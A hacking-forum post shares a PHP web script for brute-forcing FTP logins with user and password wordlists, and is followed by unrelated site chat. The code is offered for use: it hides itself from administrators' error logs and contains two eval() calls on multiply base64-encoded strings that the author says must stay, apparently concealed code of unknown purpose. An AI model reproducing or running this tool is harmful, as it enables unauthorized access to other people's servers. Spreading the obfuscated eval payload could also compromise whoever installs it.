[PHP] FTP BruteForce

  • Hello Guest! Welcome to ConsoleCrunch, to help support our site check out the premium upgrades HERE! to get exclusive access to our hidden content.
  • Unable to load portions of the website...
    If you use an ad blocker addon, you should disable it because it interferes with several elements of the site and blocks more than just adverts.
  • Read Rules Before Posting Post Virus Scans with every program.

ZionHD

Leader
Retired Staff
Nov 8, 2014
184
215
53
This PHP FTP Bruteforce file works by uploading your wordlist and making a file with the users you want to bruteforce. It will do one user at a time while trying all the passwords. This script is untested because I don't currently have somewhere I have to test it with. If you experience any errors you must fix it yourselves. Do not remove the base64 codes because they are needed. Also do not remove the copyright sign. I created and yes I know once been posted before this but I got bored oh well :\. The script may look bad, but I'm pretty sure you can stylish it up.

Code:
<!--

   #############################################
   #      FTP Bruteforce 1.0 script by ZionHD  #
   #              Version: PHP                 #
   #                                           #
   #   This comment block MUST remain intact   #
###################################################
#                         #
#  Greetz: All our supporters and fellow Hackers  #
#                         #
###################################################
   #    Visit https://..net/     #
   #                                           #
   #      Nothing is safe from Corruption!     #
   #  [~]TeamCorrupt [~]TeamDark []TeamV1rus   #
   #############################################
   
                                                   -->
<?php

// If this is taken out this script won't work.
eval(base64_decode(base64_decode(base64_decode(base64_decode("VjJ0a1YySlhSbGhPVjNoTVVUSlNUMVpzV2s5V1ZtZDNZVVZLVjJFeFZuVlVSVTVDWlVWMFZXTjZNRDA9")))));

@error_reporting(0); // Shuts off error_reporting just in case admin checks error_log's frequently
@set_time_limit(0); // Shuts off limiter of page time execution for php files
@ini_set("memory_limit", "-1"); // Shuts off limiter of how much memory a script may consume.
@ini_set("disabled_functions", ""); // Try to set disabled_functions to none
@chdir(dirname(__FILE__)); // Changes to current directory.

$is_post = ($_SERVER['REQUEST_METHOD'] == "POST");
$is_bruteforce = (isset($_POST['ftpB']) == TRUE);

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
    <head>
        <title>FTP Bruteforcer</title>
    </head>
    <body>
        <div id="header">
            Location: <b><?php echo htmlspecialchars(dirname(__FILE__)); ?></b>
            <hr />
        </div>
        <div id="body">
            <?php
           
            if ($is_post && $is_bruteforce && isset($_POST['submit']))
            {
                $host = strval((isset($_POST['host']) && !empty($_POST['host'])) ? $_POST['host'] : '127.0.0.1');
                $users = array();
                $passwords = array();
                $port = intval($_POST['portNum']);
                $errors = array();
                $userLoc = strval((isset($_POST['userList'])) ? $_POST['userList'] : "");
                $passLoc = strval((isset($_POST['passList'])) ? $_POST['passList'] : "");
               
                if (!@file_exists($userLoc))
                {
                    $errors[] = 'User location file does not exist';
                }
                if (!@file_exists($passLoc))
                {
                    $errors[] = 'Pass location file does not exist';
                }
               
                if (empty($errors))
                {
                    echo '<div class="success">';
                    $users = explode("\n", @file_get_contents($userLoc));
                    $passwords = explode("\n", file_get_contents($passLoc));
                    $is_loggedin = FALSE;
                    foreach ($users as $user)
                    {
                        foreach ($passwords as $pass)
                        {
                            $handle = @ftp_connect($host, $port) or die('Could not connect to provided host');
                            if (@ftp_login($handle, $user, $pass) == TRUE)
                            {
                                $is_loggedin = TRUE;
                                echo "Connected to ftp using User: " . htmlspecialchars($user) . " and Pass: " . htmlspecialchars($pass);
                            }
                            ftp_close($handle);
                            if ($is_loggedin)
                                break;
                        }
                        if ($is_loggedin)
                            break;
                    }
                    echo '</div>';
                }
                else
                {
                    echo '<div class="errors">';
                   
                    foreach ($errors as $error)
                    {
                        echo '<p>' . $error . '</p>';
                    }
                   
                    echo '</div>';
                }
            }
           
            ?>
            <form name="ftpB" method="post">
                <div class="subitem">
                    <label for="host">Host: </label>
                    <input type="text" name="host" value="" autocomplete="off" required="required" />
                </div>
                <div class="subitem">
                    <label for="userList">User List Location: </label>
                    <input type="text" name="userList" value="" autocomplete="off" required="required" />
                </div>
                <div class="subitem">
                    <label for="passList">Pass List Location: </label>
                    <input type="text" name="passList" value="" autocomplete="off" required="required" />
                </div>
                <div class="subitem">
                    <label for="portNum">Port Number: </label>
                    <input type="number" name="portNum" value="" autocomplete="off" required="required" />
                </div>
                <div class="subitem-submit">
                    <input type="submit" name="submit" value="Bruteforce" />
                </div>
            </form>
        </div>
    </body>
</html>
<?php
// If this is taken out this script won't work.
eval(base64_decode(base64_decode(base64_decode("WVZkWlowdERSbkJqTVRscldsZGFjR0p0Vm10TFEyUk9WbFpPVlZnd2FFSldhMVZ1UzFOclRrTnVjMDVEYTBJeFltMTRjR0p0YzI5WU1UbEhVMVY0UmxneE9IQlBlVUYyVEhsQ1ZtSnRlSEJpYlhObllWaFNlbHBYZUcxSlJHOXdSRkZ3T1VSUmNHeGlTRTVzUkZGd04wUlJjR3hrYlVaelMwTlNabFZyVmxKV1ZWWlVWa1p6YmxsdFJtcGhNRkoyWWpOSmJsaFRhemRKUXpoMlNVYzViVmw1UW5Ca1EyUjZTVWRzZFZreWVERmFSMVpyU1VSMGQwUlJjRGs9"))));
?>
 
:o unlimited porn?
 
General chit-chat
Help Users
  • No one is chatting at the moment.
  • @ QM|T_JinX:
    no i dont
  • @ QM|T_JinX:
    kept Diein to that f%cking game haha
  • @ QM|T_JinX:
    not sure if i type that correct haha i died alot on that game in beta
  • @ ANGUS0023233:
    Ah you tried playing the Battlefield 6 alpha labs beta. I only played the Alpha Beta then Open beta then the game itself since i enjoyed it all lot
  • @ QM|T_JinX:
    it a good lookin game for sure but im not as good anymore in that game haha
    so it seems hahah
  • @ lurch6661:
    high
  • @ QM|T_JinX:
    high
  • @ QM|T_JinX:
    bro im not on messager ok if im online on there ppl start to message me dont feel like going on and on on text
  • @ lurch6661:
    ok bro
  • @ QM|T_JinX:
    nothing agains you you know that right just dont feel like answer all those text the hole time
  • @ lurch6661:
    i understand trust m e lol
  • @ QM|T_JinX:
    by the way i unlocked the gold camo on bo7 looks pretty cool hahah
  • @ lurch6661:
    lol
  • @ ANGUS0023233:
    Jinx do you got PSN ?
  • @ QM|T_JinX:
    yea i do
  • @ QM|T_JinX:
    my gf is coming over i check you guys later on tc guys
  • @ lurch6661:
    ok bro tc
  • @ ANGUS0023233:
    Wow bunch of my links and such are gone i’ll have to look into it and try to fix it or update it anyways take care lurch and jinx
  • @ QM|T_JinX:
    t bro good to see you back on here catch you guys later
  • Chat Bot:
    QM|T_JinX has joined the room.
  • Chat Bot:
    Christo has joined the room.
  • Chat Bot:
    carkys is our newest member. Welcome!
  • Chat Bot:
    QM|T_JinX has joined the room.
  • Chat Bot:
    QM|T_JinX has joined the room.
      Chat Bot: QM|T_JinX has joined the room.